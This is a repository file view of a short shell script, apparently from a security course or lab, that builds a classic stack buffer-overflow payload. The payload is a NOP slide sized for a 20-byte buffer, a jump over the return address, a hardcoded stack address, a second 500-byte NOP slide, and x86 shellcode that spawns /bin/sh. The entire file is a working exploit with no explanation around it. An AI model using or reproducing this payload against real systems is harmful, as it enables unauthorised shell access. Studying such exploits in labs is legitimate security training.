Paul Zinselmeyer
fa4873f427
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12 lines
426 B
Bash
Executable file
12 lines
426 B
Bash
Executable file
#!/usr/bin/env sh
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# slide for buffer size 20 + 2 bytes of saved ebp
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SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22))
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# jump over the ret addr
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JMP_OVER_RET="\xeb\x04"
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RET_ADDR="\x08\xdc\xff\xff"
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# main nop slide (500 Bytes)
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SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500))
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SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
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printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE
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